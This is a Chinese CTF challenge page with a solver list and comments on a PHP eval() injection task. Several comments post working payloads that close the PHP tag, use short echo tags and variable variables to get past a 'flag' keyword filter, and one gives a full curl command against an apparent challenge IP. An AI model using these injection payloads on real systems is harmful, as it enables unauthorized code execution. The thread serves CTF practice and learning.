评分(6)
解题动态
星宇Sec 攻破了该题 3天前
Vamos 攻破了该题 3天前
CTF-大王 攻破了该题 4天前
vb嘎嘎 攻破了该题 6天前
加州故事 攻破了该题 6天前
w4nk3r 攻破了该题 10天前
N0rman 攻破了该题 11天前
mystery 攻破了该题 15天前
Dxmax 攻破了该题 16天前
FanHuaJie 攻破了该题 18天前
凯哥 攻破了该题 19天前
LooP-lp 攻破了该题 22天前
YIJIE 攻破了该题 22天前
zhzuo 攻破了该题 22天前
willow 攻破了该题 23天前
jwleft 攻破了该题 24天前
shellbei 攻破了该题 24天前
布蕾脆脆奶芙 攻破了该题 26天前
ipos 攻破了该题 29天前
评论
加州故事 6天前
举报
curl -G "http://160.202.254.160:17831/" \ --data-urlencode "flag=\$a='fla*';\$a{******}='g';?>11111111111111111;<\?=\$\$a;?>"
周文君 3月前
举报
?flag=$a='fla1';$a{********}='g';?><?=$$a;?>111111111111111111
suxiansheng 4月前
举报
闭合绕过 + 短标签输出 详情参考https://blog.csdn.net/wangsu327/article/details/161545391?spm=1011.2124.3001.6209
FTJJJ 5月前
举报
?flag=$a=~'%99%93%9E%98';?><?= $$a ?>aaaaaaaaaaaaaaaaaaaaaaaaaa
harry2025 8月前
举报
eval()内出现孤立<，必报unexpected '<'错误，无例外。
网恋秀牛子被录屏导致自卑 9月前
举报
考察了闭合，还有短标签
南交混的入朱靖宇 10月前
举报
flag被过滤，构建$a='fla1';$a{*********}='g'; // 把字符串的第 4 个字符改成 g题里要求：strlen($_GET['flag']) == strlen($exam)，而 $exam 的长度是 49。
Alune 10月前
举报
个人理解eval构造中存在<? ?> payload 第一个?>中与前一个闭合 而让后面的当作代码执行，不闭合的话后面就是<? <? ?> ?>代码嵌套代码了，会报错
孙谦的鸟岛 1年前
举报
孙千的**来咯
派大星CTF 1年前
举报
eavl()会开启新的php标签,而不是闭合第一行代码的标签所以需要结束eval里开启的标签，在开启一个php代码来执行输出$flag